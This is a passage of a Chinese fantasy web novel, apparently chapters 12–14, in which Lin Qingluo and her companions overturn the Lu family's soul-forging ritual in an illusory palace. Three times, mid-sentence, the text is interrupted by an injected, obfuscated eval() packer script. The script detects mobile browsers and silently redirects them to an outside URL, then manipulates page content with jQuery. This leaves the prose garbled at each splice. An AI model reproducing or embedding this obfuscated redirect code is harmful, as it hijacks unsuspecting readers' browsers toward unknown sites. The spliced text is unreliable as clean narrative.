无法提供出现阶段能提供的等价之物,付出的就只能是随之流逝的生机。 陆佑心中自责不已。 若是他的境界比现在更高,实力更强,就不会只能坐在这个鬼地方,看着一个八旬老者为了救他出去而不顾性命。 三长老枯黄的脸庞在剧烈咳嗽之后变得通红,整个人看起来萎靡不堪,那双点漆瞳仁却黑亮无比,随着抬起的手指定定地看向甬道外的人群。 “我老了,没办法像当年为你兄弟俩时时刻刻打点好一切,外面那群人,你得自己解决。” 陆佑点点头,冷漠而凶狠的目光扫过山洞外从寒冷中逐渐缓过来的一群人,缓缓抬向半空,像是在寻找那群不知藏匿在何处注视着他们的无涯亡魂。 “三长老,你放心休息就好了,我已经盯着他们把药全都吃下去了,再过一刻钟,方晖练形图就会按时运转,就是不知无涯那群死东西......接不接得住。” 一群孤魂野鬼,竟然敢驱使陆家替它们打造身体,妄图起死回生? 他陆佑从小到大可没学过给别人作嫁衣裳! 三长老点点头,已经不想再理会陆佑的口无遮拦,他疲惫地闭上眼,不知怎的,心中始终笼罩着一种不安的感觉。 这种不安的来源很难说清,但他确定,绝对不是来自那群不知藏在何处盯着他们的无涯亡魂。 似乎有什么不可控制的意外会随时出现。 哗啦! 刀剑出鞘带出的一道血光划过山洞,三长老猛然睁眼。 甬道外的蜃华殿中。 “姓陆的!” 那名赤膊剑客突然拔剑,杀气腾腾走向甬道,赤血剑出鞘的瞬间,四溢的煞气在蜃华殿的四壁上劈斩出道道蛛网裂痕。 “不是要替我们祛寒疗伤吗,掺在这池水里的化骨蛊毒,你们作何解释!” 随着剑客的一声暴喝,正泡在池子里的几道身影霍然起身,惊疑的目光扫过水面。 用死去的化骨蛊碾作的毒粉融入水里之后,原本不会被发现,此刻却不知被谁用术法逼了出来,在水面浮起了一团团诡异的黑紫色光斑。 最先发现水中有化骨蛊毒的青年已经飞快地躲到了赤膊剑客的身后,他方才在一群人中挑来挑去,把这件事告诉了这个看起来最有可能与陆家拼上一拼的人。 陆家的随从互相对视一眼,立刻朝那个直冲甬道的剑客扑了上去。 刚刚从担惊受怕之中稍微恢复过来的人群瞬间沸腾起来。 “这果真是化骨蛊毒?陆二公子这是何意?” “听说中了化骨蛊毒的人会在半刻钟之内骨骼消融,变成一摊烂肉!你们陆家竟如此歹毒!” “陆佑!你虚情假意救我们出冰牢,却用化骨蛊毒暗算我们,究竟想干什么?” 赤膊剑客一剑劈开陆家随从,厉喝道:“给我解药!我知道你们要做什么,若不想让你们的计划被其他人破坏......” 他的话说到一半,喉咙突然爆开了,血水飞溅。 “果然是个早就看明白的聪明人啊?” 陆佑的冷笑声从甬道里传出,“你既然这么聪明,怎么就没发现我还在给你的那份疗伤药里,多加了这道束音咒? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817684|175267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 赤膊剑客怒不可遏地杀了过来,剑气轰裂了沿路的地面,被掀翻的地面竟在众目睽睽之下化作月色般的光雾散开,露出满地繁复的线条。 “这是?” “方晖练形图?!” 人群之中不知是谁最先认了出来,发出一声惊呼。 紧接着,有人惊恐大叫:“难怪......难怪!我全想明白了,这里其实是无涯那些亡灵构造的幻境,你们陆家人竟然要用我们为无涯亡魂打造一具身体!” “陆家好一群伪君子!想要我的命,你们还没本事取!” 惊恐的情绪霎时化作熊熊怒火在众人心中燃烧,他们朝着阻拦在山洞前的陆家随从一拥而上,各流派的力量轰然爆发而出。 赤膊剑客挥剑直奔陆佑而去,剑尖刺穿对方胸膛的那一瞬间,他的手掌突然失去了力量,颓然垂下。 刚才服下的疗伤药里还藏了封锁各流派力量的毒! 陆佑轻蔑地哼了一声,一记鞭腿就将剑客重重地扫翻在地。 他抬脚碾在剑客的胸口,重若千钧的力道令对方口中不断地吐出鲜血,在身下渐渐汇成了浅洼,身体无法动弹。 直到脚下的人昏死了过去,陆佑闲庭信步般走向了扭打成了一团的人群。 他的身后浮现出一片寂静的枯泽之地。 一轮满月在枯泽中洒下圣洁清辉,无数缕霜白月光抽丝剥茧般从满月中剥离而出,朝人群飞去。 一缕缕月光游丝穿过众人的眉心,从甬道中漫步而出的陆佑懒声开口:“【定】。” 定字巫咒的力量笼罩四方,所有人的动作都停下了。 陆佑轻慢地扫了一眼姿势僵硬的众人,正要吩咐随从将这些人捆了,突然微微侧首,神色一狠。 被他扫翻在地的剑客竟然醒了过来,抓着剑从血泊里狰狞起身,朝他杀来。 陆佑皱紧眉头,不耐烦地转身直面挥剑而来的剑客,心底积蓄已久的怨气终于找到了发泄口,他从侍从手里抓走一根漆黑的骨棒,呼啸着抡向剑客。 骨棒上闪烁的霜白辉光洒落在剑客被攻击塌陷的半边头颅上,那具身体重重地摔在了地上,烂泥般一动不动了。 陆佑找出一条流动着咒字的粗壮锁链,三两下就将剑客五花大绑起来,接着随意地朝他胸口踢出一脚。 那具魁梧强健的身体像纸鸢一样被他踢飞了出去,在石壁上砸出深深的凹陷,飞溅的碎石与尘土之下,剑客垂下了头颅,浑身被鲜血浇透,不知生死。 不过片刻,蜃华殿内的厮杀声彻底被他镇压。 陆佑暴戾而张狂的目光如锋刃一般,一刀刀刮过众人身上,最后的一丝不忿与怒骂也消停了。 死定了。前所未有的悲观气氛堵住了众人的嘴。 三长老静静地看着蜃华殿里发生的一切,预占术赋予的直觉让他心中的不安越发强烈。 他下意识扬声叫道:“二公子。” 陆佑拍了拍手上的灰尘,转身走进老人,眉眼间一片傲气:“三长老,我早就说别浪费时间跟这些人演戏,直接收拾一顿就好了,你就等着看吧,我马上就要开启方晖练形了。” 三长老眉目紧皱:“二公子谨慎些,恐有变数。” 陆佑不以为然地挑挑眉,扭头看了看不仅被封锁了力量,还被随从们用锁链牢牢困住的那群人,胸有成竹:“变数?谁?” 就在这时,蜃华殿的地面突然爆开,碎石尘埃飞溅,迷雾般遮挡了视线。 飞扬的烟尘中迈出一袭淡紫色的衣裙,霜雪无瑕的白发在屋顶那些镜光的照耀下,像是笼罩了一层冷酷杀意的雪刃。 陆佑错愕的目光顺着地裂的路径看向紫衣少女,努力回忆了好半晌,才想起自己在篝火的火光中见过她。 一个没有任何流派气息的凡人武者,身上却笼罩着破除七伤柱之后短暂得到的力量,还沿着“血”违背法则的路径找来了这里。 原来她就是变数! 陆佑盯着林青萝,阴沉开口:“你是什么人?找、死。” 林青萝转头看向他,眼神冰冷,唇线微微上扬,露出一种漠然的笑意。 淡紫衣裙随着乍起的狂风如鬼影般乱舞,衣袖之下,黑色的漩涡在掌心中缓缓浮现。 从深渊中传出的万千亡魂的痛苦嘶吼,被韩未得刚刚得到的奖励之一——扩音,无限放大。 宛若来自幽冥的惨叫与咒怨声瞬间充斥整个蜃华殿,震溃心神,让不少人当场晕了过去。 林青萝缓缓开口,一道虚幻的、威严的声音仿佛从她藏在皮囊之下的一个混乱深渊中传出: “我乃无涯亡魂。” 陆佑眼皮狂跳,愣在原地。 屋顶之上,藏在一块碎镜片里的那群无涯亡魂也是一愣。 13. 第 13 章 无涯亡魂们从震惊中反应过来,盯着林青萝的目光变得愤怒。 好大的胆子,冒充它们就算了,竟然还敢来到它们眼皮底下?! 亡魂们正要有动作,蜃华殿角落里,巫咒力量覆盖的一具水晶棺中,一袭白衣缓缓睁开了眼睛。 江云烬浑身被一根锁链捆着,【岳】字巫咒的力量缓缓流转,沉重的山岳之力压制在他身上。 他并没有要试图挣扎的意思,只是抬眼看向屋顶的某一块镜子碎片,黑曜石般漂亮的眼瞳微微眯起。 无涯亡魂瞬间安静了。 被那根傀儡丝穿成一串捅进镜子碎片里的恐惧再度如潮水袭来,无涯亡魂本着能屈能伸的原则,收敛了怒气,无声俯视着下方各怀鬼胎的紫衣少女与陆家人。 半晌,亡魂们不知想到了什么,幽深的目光里浮现出一丝戏谑。 . 林青萝静静地站在蜃华殿中。 深渊里传出的恐怖之音在她身旁回荡,灰紫色的眼眸冷漠地扫过在场这一群即将用来炼形的猎物,被恶鬼注视的颤栗感没有放过任何一个人。 陆佑盯了林青萝半晌,大脑飞快运转着,眼神中浓烈的质疑很快被不安取代。 对方明明只是一个凡人,可是浑身散发出的气息却如地狱一般森冷诡异,难不成无涯的那群亡魂当真就暂居于她皮囊之下? 陆佑抬眸看向毫无动静的虚空,心想,那群亡魂虽然没露过面,却一定时刻监视着幻境里的一举一动,不会允许一个来历不明的弱女子冒充它们。 他与三长老对视一眼,从后者的眼神里看到了不可轻举妄动的警告,抿紧了唇线,点点头。 陆佑看向林青萝,微颤的声线平稳了下来,隐约含着警告:“你终于肯露面了?方晖练形很快就要开启了,东西到手之后就赶紧放我们出去,别再耍花招。” 林青萝淡淡地嗯了一声,带着一点不上心的漠视,毫无情绪的目光一寸寸搜寻着蜃华殿。 角落的水晶棺里,露出了白衣织金的衣角。 傀儡熟悉的脸庞在晶莹的棺盖下隐隐若现,双眼紧闭,胸膛随着平静的呼吸而微微起伏着,仿佛陷入了沉眠。 还好,活的。林青萝松了一口气。 陆佑快步走到她身边,警惕的目光时刻跟着她,双手环抱在身前,趾高气扬地一哼:“你在看什么?如果对我们不信任,大可再拖一群「巫」进来,你可以试试除了陆家,还有谁能替你完成练形。” 林青萝侧首瞥了陆佑一眼。 那道眸光冰冷无比,深渊中吹来的风猛地冲向了陆佑,带着被韩未得的扩音放大的万千亡灵的怨怒与尖啸,瞬间激起了人心最深处的恐惧,让他下意识瞬形后撤。 陆佑后背抵在冰冷的石壁上,心神狂震,好半晌才缓了一口气,怒气冲冲地瞪着林青萝:“你吓唬谁呢?真有本事犯得着找我们帮忙?” 林青萝正用幽明眼在所有人身上寻找着东西,随口回答陆佑:“安静点,否则你可以猜猜,是你陆家人先被我投入练形图,还是你的巫血先被我饮尽。” 陆佑眼睛瞪圆,头皮瞬间麻了半边。 他的嘴巴是闭上了,却阴狠地剜了林青萝一眼,拇指不自觉地摩挲了一下食指上的那一枚银戒。 这群无涯亡魂在神气什么?等那具身体练成,有它们好果子吃。 陆佑的目光不禁扫向那具水晶棺,哼笑了声。 不知无涯亡魂在练形的最后一刻,发现它们被引入了水晶棺里的那个天字傀儡体内,变成了被陆家操控的工具,还放不放得出刚才那样的狠话。 还想把陆家人一起拿来练形?笑话。 方晖练形凶煞非常,稍有不慎就会把开启练形的「巫」一起卷进去,因此,他早在那群“肉”身上做了标记,绝不会误伤陆家一人。 林青萝没有理会陆佑的微妙表情,幽明眼的视线中,陆佑银戒上一个个咒字重叠而成的诡异图案被她清晰捕捉,与众人体内的那些扭曲怪异的印记完全相同。 林青萝思索了一下,唇角弧度若有似无,问:“还要等多久?” 陆佑算了算时间,勾唇一笑:“现在。” 地面的繁复线条闪烁着猩红的光芒,震颤着从地面剥离,缓缓浮空。 猩红的血珠从那条违背法则直通蜃华殿的路径中渗了出来,密密麻麻涌向半空中的方晖练形图中。 镶嵌在屋顶的一枚镜子碎片突然炸开,从中飞掠而下的一股凶煞的魂力撞破了空气,发出一阵阵兴奋的啸声。 被锁链死死捆住的众人脸色一片惨白,空洞绝望的眼神像是已经死了一般:“完了,全都完了!我们都要死在这了......” 三长老锐利的目光紧盯着那一团直冲方晖练形图的魂力,脸色骤然一变:“我们被她骗了!” 他那只枯瘦的手掌骤然蜷曲成爪,朝林青萝抓去,手掌在地面投落的阴影追至林青萝脚下,竟然生长出了一片枯泽。 来自古老之地枯月泽的力量降临蜃华殿。 银月光辉笼罩下的荒芜山泽之中,干枯的树林在夜色里伫立成嶙峋的剪影,好似骨刺直刺向天穹。 三长老苍老的嗓音低吼:“【束】!” 那些尖锐的枯枝突然活了过来,如一根根手指朝着站在掌心的林青萝快速攥紧,寒鸦虚影从枯枝上惊飞,掠过虚实难辨的月光。 陆佑听见三长老的这一声厉喝,猛然回身看向林青萝。 练形开始时,主动退至他身后的紫衣少女竟然剥离成了两个人! 或者说,是时刻保持着动作一致、始终重叠在一起的两个身体终于分离。 留在原地的那道紫衣身影被枯枝手掌捏碎,化作一缕缥缈的灵力从树隙间飘散,一只雕刻成她模样的小木偶从半空中啪嗒声摔落在地上,四分五裂。 真正的林青萝早已敏捷地往前一扑,逃离了那片枯泽之地,就地一滚卸去力道,随即飞快地从地上爬起,飞奔向角落里的水晶棺。 变故发生得太过突然,陆佑甚至还没辨认出她这到底是哪个流派的什么招数。 他怒不可遏地追向林青萝,浮现在身后的月亮如燃烧的蜡烛般开始融化滴落,千丝万缕的月辉游丝刺向那道一抹紫衣,如同一根根冷硬的铁丝,闪烁着冰寒杀意。 陆佑咬牙切齿地走向被游丝包围的少女:“竟然敢耍我,你死定了。” 林青萝微微扭头,朝他露出半张侧脸,笑意盈盈。 陆佑被她含笑的恶意惹恼,强烈的衰弱感突然袭来,他呼吸一滞,眼睁睁看见自己吐出了一口血。 陆佑不可置信地睁大了眼睛,发觉自己的生机正在从体内快速流逝,疯狂涌向半空中的方晖练形图。 什么......? 啪! 食指上的银戒从陆佑快速变得干枯的手指上滑落在地。 陆佑被这道声音惊醒,垂眸盯着银戒上的图案,猛然想到了什么,扭头看向四周。 本该被练形抽取生机的人群,竟然全都好端端的。 陆家人却全部失去力量倒在了地上。 他的目光变得惊恐。 标记被替换了。 月色游丝紧追不放,林青萝已经用最快的速度躲避了,仍然被它们刺中了背影,血水顺着针尖大小的伤口渗出,打湿白发。 游丝刺入身体,要将她贯穿,却突然随着陆佑生机的流逝而变得虚幻起来,蕴含的力量也疾速衰减。 林青萝忍着钻心的剧痛骤然回身,握紧匕首朝万千游丝横挥而去。 脆弱的游丝在利刃寒光中碎成无数截,化作月光消散,横扫的余威将林青萝震飞了出去,后背重重磕在墙壁上。 林青萝抬起手背擦过唇角的血水,盯着被方晖练形图不断抽走生机而虚弱倒地的陆佑,发出一声含血的轻笑:“换物这个奖励,还真是好用呢。” 她微弯的眉眼骤然压出冷酷的弧度,起身朝陆佑猛冲了过去。 匕首寒光飞掠而至,刺穿了陆佑惊慌间挡在胸前的手掌,径直往前推进,抵入他的胸口。 水晶棺里的江云烬恰好睁开了眼。 这是他第一次看见林青萝用匕首。 她拿匕首的姿势在他眼里如此眼熟,而她出招的速度与力道配合得天衣无缝,身经百战般完美。 江云烬好像看见了一位老熟人。 这一刻,哪怕记忆一次次失而复得,总是残损,他也猜出了自己与林青萝的联系来自于什么。 「青萝。」 江云烬视线掠向暴怒的三长老,提醒她,「当心身后。」 林青萝被他突然出现的声音吓了一跳,随即一喜。 她来不及去看江云烬一眼,撑着被游丝割伤的身体面对身后的三长老。 面容枯槁的老者无视自己的生机正在加速流逝,脚下的阴影中流淌出无数涌动的咒字: “【死】。” 银辉闪烁的咒字肉眼可见的增多,眨眼间已如浅浅的溪水没过三长老的脚踝,流向四面八方。 如水的咒字沾染在离三长老最近那人的衣角,柔软鲜艳的衣料立刻失去了色彩,变成了被大火焚烧过的黑灰色。 死咒的力量快速入侵衣衫下的肌肤,那人眨眼间就变成了一具蜷缩干瘪的骨头架子,往地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834710|175267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面倒下,摔成了一捧薄薄的灰烬。 人群中爆发出一阵阵惊恐惨叫,争先恐后地往角落里挤去,试图躲过被密密麻麻的死咒字淹没的结局。 三长老怨恨地环顾着这群本该去死的人,最终直勾勾地盯着林青萝,喉咙里发出的声音越发尖利嘶哑:“原本为了方晖练形能拥有最好的效果,我特意暂时留了你们一条命,让你们活着被熔炼,现在看来,还是死人最稳妥!” 咒字潮水流向林青萝脚下。 她脸色急变,拔出匕首就要往殿内的石台上跳去,脚踝却被一只手掌死死抓住。 陆佑阴毒的双眼盯着她:“想走?一起死啊。” “做你的春秋大梦呢?还一起死,你跟那死老头撑得到青萝的百年大寿吗?” 一道戏谑的声音从另一条甬道中传出,还带着些许刚刚睡醒的懒倦,紫袍衣角被莹莹微光笼罩,扫过甬道的阴影,半张痞气的脸庞从宽大兜帽下缓缓抬起。 韩未得眼眸中涌动着浓烈的杀意,直接忽略了林青萝“你居然又睡着了”的震撼表情,看向三长老。 少年勾唇一笑,身形突然爆射而出。 与此同时,甬道里的地面轰然爆开,一大群木偶从乱石堆里举起双手欢呼着跑了出来,穿在身上的甲胄随着动作发出冰冷厚重的哗嚓声,俨然一支木偶大军。 这些木偶不过巴掌大小,手里却握着从爆炸的甬道中捡起的巨大石块,它们朝陆家人冲了过去,身上浓烈的杀气与主人一脉相承,像是一个个疯狂而残忍的暴徒,将石头狠狠地砸在陆家人的身体上。 一下又一下。 木头雕刻的身体与玄色甲胄上溅满滚烫的鲜血。 一块块石头在重击下碎裂成了粉屑,飘洒在陆家人烂泥般的身体上。 三长老盯着那支木偶大军,双眼骤然一缩。 他当即意识到了什么,转头看向韩未得的一双目光变得又惧又怒,枯哑的喉咙里发出惊恐的颤音。 “果然是赋魂?!”三长老干瘪的嘴唇剧烈地哆嗦着,“你是......” 不等三长老把话说完,韩未得一身紫袍在空中掠出残影,他骤然出现在三长老面前,随手抄起一截石锥,从他嶙峋枯朽的身体中贯穿了过去。 “多嘴。”韩未得松开石锥,用力地掐住了三长老的喉咙。 三长老鼓起的眼球被对方那一张毫不掩饰的凶狠面庞完全占据。 面前的少年仿佛是一只披上紫袍的野兽,疯狂与残忍的气息在他全身上下爆发而出,将那层作为人的伪装彻底撕碎。 “你......你......”三长老的嗓音里只剩下最浓烈的恐惧与愤怒,却也被捏碎在喉咙里。 “还以为对付你这老头有多麻烦,没想到你自寻死路。” 韩未得盯着气若游丝的三长老,嘴角咧开的弧度越扩越大,另一只手抚上他的头顶,正要将这颗头颅直接捏碎,却想起了林青萝的叮嘱,无奈地撇下唇角。 “哦,不能杀你,留着你还有用。” 他一记手刀将三长老劈晕了过去,随手一扔。 “青萝,你把江云烬的棺材盖打开了没?” 韩未得这才有空去关心他的同伴,转身走向水晶棺面前的少女。 在他身后,满地的咒字已经被木偶们砸得碎散,陆家人烂泥般的身体歪七扭八地躺在血泊中,不知是死是活,触目惊心。 一只只小木偶围坐在陆佑血肉模糊的身体上,晃悠着双腿嬉笑打闹着,磐石般的力量压得他一动也不能动。 陆佑那双布满狰狞血丝的眼睛惊恐地盯着三长老,以往的张狂倨傲消散一空,滚下血泪。 还被锁链绑着的人们从惊恐中回过神,纷纷松了一口气。 “谢天谢地,老子还以为这一次真要交代在这里了。” “陆家这群心狠手辣的伪君子,真是自作自受!” “两位小英雄,求你们快帮忙把这些锁链给解开吧。” “就是啊!我们还得赶紧解了化骨蛊毒,否则骨头马上就要化掉了!” “等等,他们两个有说过打算救我们吗?” 蹲在角落里的少女专注地研究着棺材盖,而那个晚一步出现的少年打着呵欠,老大爷一般朝她踱步而去。 没有谁理会他们死而后生的欢呼与急躁。 蜃华殿里的气氛诡异地安静下来。 有人古怪地思索着这一幕,目光重新变得惊恐,望向半空中不断吸收着鲜血与生机的图案,无涯亡魂兴奋的怪叫声开始在蜃华殿中张狂回荡。 “他们并没有让方晖练形停下啊......” 14. 第 14 章 林青萝没有理会众人的惊恐大叫。 在她头顶,方晖练形图暴涨的红光笼罩了整个蜃华殿,无涯亡魂游动在这片血色光芒里,满是欢愉与享受。 血与生机源源不断地注入图中,好似在虚空中燃起了一片沸腾的火海。 妖冶的红光洒落满地,让下方的所有人感到绝望。 “救命啊!我还不想死在这里啊!!!” “二位难道真的相信无涯亡魂得到身体之后会遵守信用放你们离开吗?方晖练形本就是被各流派禁止的邪术,所谓起死回生也不过只是打造出一具能永久容纳亡魂的肉身,自欺欺人的谎言罢了!它们最终一定会杀人灭口的!” “二位快住手吧!赶紧打断方晖练形,杀了陆家人,我们再一起想办法怎么出去才是啊!” 然而无论他们怎么劝阻或尖叫,紫衣少女也没回头看他们一眼。 林青萝费力地推开了水晶棺的棺盖,一屁股坐在地上,双手趴在棺材壁上喘了口气,与江云烬对视的那一瞬,露出充满惊喜的笑意。 “抱歉,我来晚了,我以为你不会有事的。” 林青萝试着用匕首在锁链上砍了几刀,却连一丝划痕都没能留下,于是扭头向身后闲庭信步的韩未得求助。 “你快——”她话没说完,注意力瞬间被满地的血泥吸引。 紫袍少年从满地血泊中徐徐而行,藏在兜帽阴影下的那双眼里还残留着一抹残忍疯狂的杀意,比方才以野蛮之力直接控下局面的木偶更为浓烈,犹如杀神降世。 这一幕在林青萝眼中造成的冲击太大,又让她突然想起韩未得那句“别轻信萍水相逢的过路人”,她微张的嘴唇最终闭上了。 怔神之际,一只小木偶从陆佑的怀里滑了下来,举着一把断裂的钥匙经过她脚下,一溜烟地钻进了方才发生爆炸的那条甬道里。 韩未得走到林青萝面前,解释一句:“不用管它,它去打磨钥匙去了。” 他突然察觉到什么,皱眉往方才的位置看去。 昏迷在地的三长老不知何时醒了过来,手指在血泊中微微抽动,头颅上被韩未得一记手刀劈开的裂痕中迸发出一缕缕寒月般的银辉。 “咳咳......咳咳......” 喉间涌上的腥甜让三长老剧烈颤抖,涣散的血魄被他强行凝聚,在残破的身体快速流淌。 “哦?老头怎么又醒了?”韩未得转头看向三长老,紫辉莹莹的袍角随着他转身的动作,扫过地上的血泊。 三长老阴沉地盯着他,忽然怒笑出声,蕴含着「巫」之血魄的鲜血从七窍溢了出来,在虚空凝结成一团熊熊燃烧的火焰。 血魄焰火被三长老头颅上那道裂缝中迸发出的银辉镀上了一层皎白,仿佛从某片枯泽之地倾泻而下的森冷月光,在他面前点燃。 冰寒与滚烫交织的光芒照耀在方晖练形图上,焚烧着遍布空中的图案。 一簇血魄焰冲天而起,将陆佑头顶的血色图案烧出了一道口子。 “二公子!快走!”三长老朝着缺口下的陆佑大声嘶吼,转头扑向了韩未得。 血魄焰在空中爆炸,飞溅的火星烫伤了韩未得袭向三长老的手臂,将莹光闪烁的一角紫袍化作灰烬。 不远处,陆佑睁开了被血痂黏住的眼皮,泪水混着血水流满了脸颊。 他挣扎着起身,看向三长老目光所指的一条甬道,毫不犹豫地朝那里飞掠而去。 充斥在心中的愤怒与仇恨如野兽般暴动,他像是一座濒临爆发的火山,张大嘴巴一路狂奔,发出无声的怒吼。 等他想办法联系上哥哥,这笔账,他一定要让那两个人加倍奉还! 三长老的一声痛哼从他身后响起,染血的身体被韩未得的拳风砸入石壁之中,身体支离破碎。 韩未得杀意闪烁的目光轻扫了一眼嵌入墙中的老者,迈步追向陆佑,没走多远,突然被一双干枯的手臂死死拖住了双腿。 三长老撕心裂肺地催促:“快跑!禁止每个幻境连通的法则,我已强行撤除了,二公子,躲起来!一定要......定要联系上大公子来救你......” 他的声音突然变得空灵,苍老的身体从凌乱的头发开始化作虚幻的月光,双手死死抱住韩未得的双腿,挣扎的身体在地面拖出一道血泊。 陆佑不敢回头,他用最快的速度直冲向甬道,可余光里挥之不去的是三长老浑身是血的身影。 那道残破的身体正在消散,任凭韩未得一次比一次猛烈的拳头落在他身体,却依旧死死地拖住他,绝不放手。 苍老身躯化作如水的月光,朝着陆佑倾涌而去,带着枯月泽赋予的力量,将他往那条通往一线生机的甬道里用力一推。 陆佑分不清自己此刻最渴望的是生存,还是复仇。 他喉咙里爆发出一声抑制不住的怒吼,带着少年被折断脊骨碾碎傲气的哭腔,朝着漆黑的甬道踏出最后一步。 林青萝清冷无情的声音突然响起:“不可以走。” 随之而来的,是锋利之物极速割破空气的啸音。 陆佑后颈发凉,决定要用最后的力量与这个该死的凡人殊死一搏,回头却只看见一道极速杀来的寒光。 那把匕首杀气森然,划破空气的瞬间好似一道压迫感十足的雷霆。 它的速度快到陆佑根本来不及做出反应,只是在看见它的刹那,觉得胸口一凉。 愤怒与崩溃的情绪定格在陆佑眼里,被匕首刺穿的心脏停止了跳动。 林青萝站在水晶棺旁,眸光冷淡,白发冰寒,振翅欲飞的蝴蝶发饰反射出的银光锋利如刃,右手刚刚把匕首一掷而出,轻轻收回了身侧。 她快步走向那具倒在洞口前的尸体,俯身拔出匕首,动作优雅。 一阵窸窣声从身后传来。 林青萝回头一看,浓郁的生机从破碎的方晖练形图中反涌而出,被锁链捆住的人群中,已经有人暗自恢复了一些流派力量,正悄悄吸收着这股生机,试图以此来强行挣断锁链。 无涯亡魂在其中发出了愤怒的警告,屋顶炸开了无数蛛网般的裂痕,碎石尘埃簌簌坠落。 对它们而言,练形既然已经濒临失败,无法挽回,不如就将所有轻举妄动的人埋葬在此。 韩未得看向她,皱皱眉:“青萝,这老头马上就真死了。” 林青萝抬头看向空中破损的图案,沉着地对无涯亡魂们说道:“别这么沉不住气,方晖练形不会就这样结束的。” 亡魂们被少女呵斥,正要发怒,却从她的眼眸中读出了一种极强的侵略感,就好像如果不听她的计划,她会让结局比现在更加失控。 真是......邪门的人。 无涯亡魂耐着性子安静下来,注视着林青萝的一举一动。 一缕缕月辉在屋顶的镜子碎片中若隐若现。 凝晖的力量在林青萝周身蒙上了一层淡淡的霜白,引导着蜃华月镜将它在这千百年纪见证过的月出月落毫无保留地倾泻了出来。 月光如绸,一段段飞向破碎的方晖练形图中,霜白与猩红二色交汇,转眼就将图上硕大的缺口填补了起来。 方晖练形图重归完整,运转的速度竟然比之前加快了,剧烈翻涌的血色光芒中,一具身体逐渐凝聚成形。 “竟然是......凝晖......” 三长老的喃喃自语声缥缈如烟,身体已经变成了一层稀薄的光雾,那双空洞的眼瞳盯着林青萝,突然凄然一笑。 他创造了七伤柱之局,制定了游戏规则,就必须有破局的办法和等价值的奖励。 那些不得不对应着游戏难度设置的奖励,那些在他看来不过是垃圾的奖励,竟然在林青萝手中发挥出了至关重要的作用,成了最大的变故。 “千算万算,最终却是我亲手带二公子设计了一条死路,我......愧对陆家......” 林青萝低头看他一眼,唇角弯起一抹戏谑的弧度:“还有吗?你再看看,除了凝晖,还有什么?” 三长老眉头深深地皱了起来,目光扫过韩未得兜帽阴影中的那一抹痞气十足的笑,蓦地睁大了眼睛。 “难怪我方才强行破除法则为二公子开辟生路,受其反噬,却还剩一口气,原来......原来不是你这小子在替我维持生机......” 他猛然转头看向把人耍得团团转的林青萝,浑浊的目光剧烈颤抖着,像是看见了世间最阴邪狡诈之物,“而是你!” 林青萝笑盈盈地点头,答对啦。 三长老奄奄一息,彻底陷入了绝望:“你就是玩弄人心的恶鬼!是你故意给我机会,让我不惜付出一切代价放二公子走,是你用换物把陆家人的一部分生机给了我,换走了我身上的......咳咳......咳咳......” 林青萝突然俯身掐住了他的脖子,轻声劝解道:“够了够了,少说几句才不会吃苦头,还不明白吗?” 单薄而透明的身体最终化作了一缕月光,从她指缝中飘散。 与此同时,方晖练形图中的阴邪气息翻涌如沸。 鲜血、生机和无涯亡魂们在其中彻底融合在了一起,快速旋转的猩红光芒中,出现了一道凝实的身影。 一只苍白的手指刺破了方晖练形图的猩红光幕,阴邪气息浓郁的双眼缓缓睁开,新生的皮囊之下是无涯一群亡魂的聚合。 这具由鲜血与生机浇灌的身体从练形图中腾空跃下,双脚触地的瞬间,恐怖的灵力震荡出的波纹横扫了整个幻境,将沉重的石壁与石柱震碎成粉末飞洒。 “起死回生,竟是如此美妙之事。” 愉悦的声音从这具身体里传出,似在向天下宣告,“今日起,我名无涯。” 林青萝仰头看着他,面色无惊无惧:“方晖练形既已完成,你该放我们出去了。” 无涯垂眸看她一眼,漆黑的眼睛里浮现出一丝诡异的笑意:“方晖练形图是陆家人开启的,他们都死了,我同谁履行承诺?” “更何况,你冒充我的名字招摇撞骗,而剩下的那些人之中,还有人试图夺走生机,差点坏我大事,该死。” 林青萝露出疑惑的目光:“你现在对我说话这么大声,是因为不怕江云烬了吗?看来方晖练形的确很厉害,并非是把一群亡魂简单的融合在一起,而是让你们的力量也重重叠加了。你现在是几境?” 无涯嘴角抽搐了一下,扭头朝江云烬投去怨怒的一瞥,暴戾的语气毫不作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853957|175267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩,带了几分挑衅的意味:“八境。” 林青萝随着他的目光看了眼江云烬,笑了下:“不用故意惹他对你出手。” “因为。” 她弯着双眼,却泛着一丝冷意。 “我要你死,你就得死。” 无涯愣了片刻,才确定如此狂妄的一句话的确是从面前这个凡人少女口中说出来的。 他发誓自己从没听过如此可笑的笑话,阴沉的大笑声回荡在一片狼藉的蜃华殿中,仿佛地狱中回荡的阵阵阴风。 